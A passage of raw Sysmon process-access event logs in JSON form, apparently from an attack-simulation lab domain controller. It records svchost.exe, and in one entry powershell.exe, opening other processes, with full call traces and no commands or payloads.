11:50:34.179","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2583,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.179\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.179","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2584,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.179\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.179","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2585,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.179\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.179","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2586,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.179\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.179","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2587,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.179\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.179","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2588,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.179\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.179","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2589,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.179\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.179","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2590,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.179\r\nSourceProcessGUID: {90617006-400A-5F2D-0000-001065680400}\r\nSourceProcessId: 4784\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-400A-5F2D-0000-00104B740400}\r\nTargetProcessId: 4880\r\nTargetImage: C:\\Windows\\system32\\whoami.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3f1f2ed9(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3e693fb3(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3e693c84(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3f145099(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.n